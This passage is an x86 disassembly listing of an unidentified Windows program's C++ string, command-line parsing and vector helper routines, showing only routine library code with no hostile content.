retn sub_409AA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401424j mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43E010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409AE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409B10: ; CODE XREF: ___:00402063j ; ___:loc_402171j push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409B28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409B28: ; CODE XREF: ___:00409B1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B40 proc near ; CODE XREF: sub_401861j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B80 proc near ; CODE XREF: sub_4014C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43E010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FBE mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409B80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BC0 proc near ; CODE XREF: sub_4020F4j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4437F4 push ecx mov dword ptr [esi], offset off_43E010 nop call sub_5EDAB2 add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015D7 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409BC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C30 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43E010 cmp eax, edi jz short loc_409C4C push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C4C: ; CODE XREF: sub_409C30+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409C5F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409C5F: ; CODE XREF: sub_409C30+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409C30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C80 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409CEA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409CAA push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409CAA: ; CODE XREF: sub_409C80+1Fj lea ebx, [ebp+2] push ebx call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0DDAAE852h, 83907783h db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409CEA: ; CODE XREF: sub_409C80+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409C80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D20 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_409D20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409D50: ; CODE XREF: ___:00401A46j mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4437F4 push ecx nop call sub_5EDAB2 add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015D7 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409DA0 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409E32 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409E2F push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_409E2F: ; CODE XREF: sub_409DA0+84j mov [ebx+9], ebp loc_409E32: ; CODE XREF: sub_409DA0+Cj ; sub_409DA0+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409DA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E70 proc near ; CODE XREF: sub_4016BDj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401A9B pop esi retn 4 sub_409E70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EA0 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4437F4 push ecx nop call sub_5EDAB2 add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401A9B pop esi add esp, 10h retn 4 sub_409EA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409EF0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409F07 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F07: ; CODE XREF: sub_409EF0+7j mov eax, [ecx+9] push ebx loc_409F0B: ; CODE XREF: sub_409EF0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_409F36 test cl, cl jz short loc_409F2F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_409F36 add eax, 2 add esi, 2 test cl, cl jnz short loc_409F0B loc_409F2F: ; CODE XREF: sub_409EF0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_409F36: ; CODE XREF: sub_409EF0+23j ; sub_409EF0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409EF0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F60 proc near ; CODE XREF: sub_401B72j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409F60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F90 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_409FA3 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_409FA3: ; CODE XREF: sub_409F90+6j push eax mov eax, [ecx+9] push eax nop call near ptr 77C4624Eh add esp, 8 retn 4 sub_409F90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FD0 proc near ; CODE XREF: sub_4021ADj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_409FD0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A000 proc near ; CODE XREF: sub_401CBCj push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A013 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A013: ; CODE XREF: sub_40A000+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A000 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A030 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A072 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015D7 loc_40A072: ; CODE XREF: sub_40A030+13j add esp, 2000h retn sub_40A030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0A0 proc near ; CODE XREF: sub_401D20j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A0A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0C0 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_50FAE0 push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx ; strchr add esp, 8 test eax, eax jnz short loc_40A0E4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A0E4: ; CODE XREF: sub_40A0C0+1Cj mov ecx, [esi+9] push edi push ecx call ebx ; strchr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A0C0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A110 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401807 retn 4 sub_40A110 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A130 proc near ; CODE XREF: sub_401807j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402117 pop esi retn 8 sub_40A130 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A160 proc near ; CODE XREF: sub_4013E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402117 retn 4 sub_40A160 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A180 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A195 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A195: ; CODE XREF: sub_40A180+Bj mov eax, [esi+9] mov ebx, dword_50FAF8 push edi push eax call ebx ; strstr add esp, 8 test eax, eax jnz short loc_40A1AF pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1AF: ; CODE XREF: sub_40A180+27j mov ecx, [esi+9] push edi push ecx call ebx ; strstr mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A180 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1F0 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A203 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A203: ; CODE XREF: sub_40A1F0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A216 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A216: ; CODE XREF: sub_40A1F0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_4367FA sub_40A1F0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A270 proc near ; CODE XREF: sub_4013D9j mov eax, [ecx+11h] retn sub_40A270 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A290 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A290 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A2E2 mov esi, [esp+34h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A2E2: ; CODE XREF: sub_40A290+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_401424 mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_4367FA sub_40A290 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015D7 push ebx call sub_4367E2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014C9 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A3C0 proc near ; CODE XREF: sub_401E2Ej var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013D9 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A3C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A400: ; CODE XREF: ___:0040193Dj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_4020F4 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A430 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A471 mov esi, [esp+44h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 jmp loc_40A5A4 ; --------------------------------------------------------------------------- loc_40A471: ; CODE XREF: sub_40A430+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_401690 mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401861 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014D3 mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A555 push ebx loc_40A4B1: ; CODE XREF: sub_40A430+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A4C0 loc_40A4B7: ; CODE XREF: sub_40A430+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A4B7 loc_40A4C0: ; CODE XREF: sub_40A430+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A4CF inc eax mov [esp+48h+var_3C], eax loc_40A4CF: ; CODE XREF: sub_40A430+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401988 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A51F test cl, cl jz short loc_40A507 loc_40A4EB: ; CODE XREF: sub_40A430+D5j cmp cl, 22h jnz short loc_40A4FC mov cl, [eax+1] cmp cl, 20h jz short loc_40A507 test cl, cl jz short loc_40A507 loc_40A4FC: ; CODE XREF: sub_40A430+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A4EB loc_40A507: ; CODE XREF: sub_40A430+B9j ; sub_40A430+C6j ... cmp byte ptr [eax], 0 jz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A54A add eax, 2 jmp short loc_40A546 ; --------------------------------------------------------------------------- loc_40A51F: ; CODE XREF: sub_40A430+B5j test cl, cl jz short loc_40A534 mov dl, [edi] loc_40A525: ; CODE XREF: sub_40A430+102j cmp cl, dl jz short loc_40A534 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A525 loc_40A534: ; CODE XREF: sub_40A430+F1j ; sub_40A430+F7j mov cl, [eax] test cl, cl jz short loc_40A54A cmp cl, [edi] jnz short loc_40A54A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A546: ; CODE XREF: sub_40A430+EDj mov [esp+48h+var_3C], eax loc_40A54A: ; CODE XREF: sub_40A430+DAj ; sub_40A430+E8j ... mov cl, [eax] test cl, cl jnz loc_40A4B1 pop ebx loc_40A555: ; CODE XREF: sub_40A430+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A56D push offset byte_446F70 jmp short loc_40A57A ; --------------------------------------------------------------------------- loc_40A56D: ; CODE XREF: sub_40A430+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F64 mov eax, [eax] push eax loc_40A57A: ; CODE XREF: sub_40A430+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401861 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_40158C ; --------------------------------------------------------------------------- loc_40A5A4: ; CODE XREF: sub_40A430+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A430 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A630 proc near ; CODE XREF: sub_4016AEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A630 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A670 proc near ; CODE XREF: sub_40200Ej arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015D7 pop esi retn 4 sub_40A670 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6A0 proc near ; CODE XREF: sub_401A87j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 retn 4 sub_40A6A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A6C0 proc near ; CODE XREF: sub_40146Fj arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A6C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A6E0: ; CODE XREF: ___:0040149Cj mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A700 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A700 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A720 proc near ; CODE XREF: sub_4017E4j mov eax, [ecx+9] retn sub_40A720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A740 proc near ; CODE XREF: sub_4014D3j mov eax, [ecx+9] retn sub_40A740 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A760 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A760 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A790 proc near ; CODE XREF: sub_40158Cj push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A790 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7E0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A7EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A7EA: ; CODE XREF: sub_40A7E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A7E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A810 proc near ; CODE XREF: sub_401F64j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A828 mov ecx, esi call sub_401EE7 loc_40A828: ; CODE XREF: sub_40A810+Fj mov ecx, esi call sub_401D1B lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A810 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A850 proc near ; CODE XREF: sub_401988j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40164F push eax mov ecx, esi call sub_4016EF pop esi retn 4 sub_40A850 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A880 proc near ; CODE XREF: sub_401D1Bj mov eax, [ecx+4] retn sub_40A880 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8A0 proc near ; CODE XREF: sub_40164Fj mov eax, [ecx+8] retn sub_40A8A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8C0 proc near ; CODE XREF: sub_4016EFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D1B mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013CF mov ecx, edi call sub_401D1B lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A8C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A910 proc near ; CODE XREF: sub_4019A6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40A930 loc_40A921: ; CODE XREF: sub_40A910+1Ej push esi mov ecx, edi call sub_4018B1 add esi, 4 cmp esi, ebx jnz short loc_40A921 loc_40A930: ; CODE XREF: sub_40A910+Fj pop edi pop esi pop ebx retn 8 sub_40A910 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A950: ; CODE XREF: sub_401EE7j push 0FFFFFFFFh push offset loc_438AB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] call near ptr 760A0430h nop lea edx, [esp+14h] push offset dword_43F080 push edx call sub_436832 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A9D0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40A9D0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9F0 proc near ; CODE XREF: sub_4013CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40AABB mov ecx, esi call sub_4011F9 cmp edi, eax jnb short loc_40AA23 mov ecx, esi call sub_4011F9 mov ebp, eax jmp short loc_40AA25 ; --------------------------------------------------------------------------- loc_40AA23: ; CODE XREF: sub_40A9F0+26j mov ebp, edi loc_40AA25: ; CODE XREF: sub_40A9F0+31j mov ecx, esi call sub_4011F9 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401DCF ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4010CD mov ecx, [esp+10h+arg_8] 